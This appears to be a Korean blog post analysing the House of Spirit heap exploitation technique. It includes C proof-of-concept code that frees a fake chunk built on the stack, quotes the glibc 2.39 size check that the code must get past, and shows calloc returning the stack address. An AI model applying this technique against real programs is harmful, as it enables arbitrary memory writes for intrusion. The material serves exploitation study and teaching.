[Exploit Tech Analysis][Heap] House of Spirit
Fastbin dup into stack과 비슷한 느낌이지만, 임의 주소에 대한 해제가 가능해야 한다.
어딘가에 fake chunk를 구성한 후 이를 해제하고, 재할당하면 해당 영역에 쓰기가 가능해진다. 다음과 같이 stack상에 fake chunk를 구성하고, 이 영역을 해제한다.
#include <stdio.h>
#include <stdlib.h>
int main() {
setbuf(stdout, NULL);
void *tcache[0x7];
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x30);
for (int i = 0; i < 7; i++)
free(tcache[i]);
long chunks[0x10] __attribute__ ((aligned (0x10)));
chunks[1] = 0x40;
chunks[9] = 0x0;
free(&chunks[2]);
void *fc = calloc(1, 0x30);
printf("%p %p\n", &chunks[2], fc);
}
실행하면 다음과 같은 오류를 볼 수 있다.
$ ./house_of_spirit
free(): invalid next size (fast)
[1] 84904 IOT insturction (core dumped) ./house_of_spirit
이는 다음과 같은 조건을 위배하기 때문이다.
// Def. in /malloc/malloc.c, in function _int_free(), line 4577 (@glibc-2.39)
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
따라서 다음 청크의 크기가 CHUNK_HDR_SZ < sz < av->system_mem
를 만족해야 한다. 이때 CHUNK_HDR_SZ
는 sizeof(size_t) * 2
로 16이고, av->system_mem
은 mmap()
으로 할당받은 힙의 크기이다. 초기 힙의 크기가 21000
라는 점을 고려해 대충 맞춰주면 된다.
#include <stdio.h>
#include <stdlib.h>
int main() {
setbuf(stdout, NULL);
void *tcache[0x7];
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x30);
for (int i = 0; i < 7; i++)
free(tcache[i]);
long chunks[0x10] __attribute__ ((aligned (0x10)));
chunks[1] = 0x40;
chunks[9] = 0x40;
free(&chunks[2]);
void *fc = calloc(1, 0x30);
printf("%p %p\n", &chunks[2], fc);
}
실행하면 의도한 대로 calloc()
가 stack에 구성한 fake chunk를 리턴하고 있음을 확인할 수 있다.
$ ./house_of_spirit
0x7ffd8efd3f60 0x7ffd8efd3f60
Leave a comment